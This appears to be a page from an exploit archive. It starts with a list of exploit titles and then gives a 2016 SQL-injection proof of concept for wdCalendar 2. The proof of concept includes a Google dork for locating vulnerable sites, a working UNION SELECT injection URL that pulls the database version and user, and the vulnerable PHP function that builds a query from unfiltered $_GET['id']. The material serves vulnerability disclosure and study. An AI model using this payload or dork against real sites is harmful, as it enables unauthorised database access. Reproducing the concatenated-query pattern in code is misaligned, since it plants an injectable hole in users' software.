d5138d6962
17 new exploits Microsoft Windows Media Player 7.0 - '.wms' Arbitrary Script Cherry Music 0.35.1 - Arbitrary File Disclosure Battle.Net 1.5.0.7963 - Insecure File Permissions Privilege Escalation Windows x86 - Password Protected TCP Bind Shell (637 bytes) wdCalendar 2 - SQL Injection Zapya Desktop 1.803 - (ZapyaService.exe) Privilege Escalation Exper EWM-01 ADSL/MODEM - Unauthenticated DNS Change Open-Xchange App Suite 7.8.2 - Cross Site Scripting Open-Xchange Guard 2.4.2 - Multiple Cross Site Scripting Multiple Icecream Apps - Insecure File Permissions Privilege Escalation WinSMS 3.43 - Insecure File Permissions Privilege Escalation Microsoft Internet Explorer 11.0.9600.18482 - Use After Free AIOCP 1.3.x - 'cp_dpage.php' Full Path Disclosure AIOCP 1.3.x - Multiple Vulnerabilities ASUS DSL-X11 ADSL Router - Unauthenticated DNS Change COMTREND ADSL Router CT-5367 C01_R12_ CT-5624 C01_R03 - Unauthenticated DNS Change Tenda ADSL2/2+ Modem 963281TAN - Unauthenticated DNS Change PLANET VDR-300NU ADSL Router - Unauthenticated DNS Change PIKATEL 96338WS_ 96338L-2M-8M - Unauthenticated DNS Change Inteno EG101R1 VoIP Router - Unauthenticated DNS Change
32 lines
939 B
Text
Executable file
32 lines
939 B
Text
Executable file
# Exploit Title: wdcalendar version 2 sql injection vulnerability
|
|
# Google Dork: allinurl:"wdcalendar/edit.php"
|
|
# Date: 12/09/2016
|
|
# Exploit Author: Alfonso Castillo Angel
|
|
# Software Link: https://github.com/ronisaha/wdCalendar
|
|
# Version: Version 2
|
|
# Tested on: Windows 7 ultimate
|
|
# Category: webapps
|
|
|
|
* Affected file -> edit.php and edit.db.php
|
|
* Exploit ->
|
|
http://localhost/wdcalendar/edit.php?id=-1+union+select+1,version(),user(),4,5,6,7,8,9--
|
|
|
|
|
|
* Vulnerable code:
|
|
|
|
function getCalendarByRange($id){
|
|
try{
|
|
$db = new DBConnection();
|
|
$db->getConnection();
|
|
$sql = "select * from `jqcalendar` where `id` = " . $id; //the
|
|
variable is not filtered properly
|
|
$handle = mysql_query($sql);
|
|
//echo $sql;
|
|
$row = mysql_fetch_object($handle);
|
|
}catch(Exception $e){
|
|
}
|
|
return $row;
|
|
}
|
|
if($_GET["id"]){
|
|
$event = getCalendarByRange($_GET["id"]); //the variable is not filtered
|
|
properly
|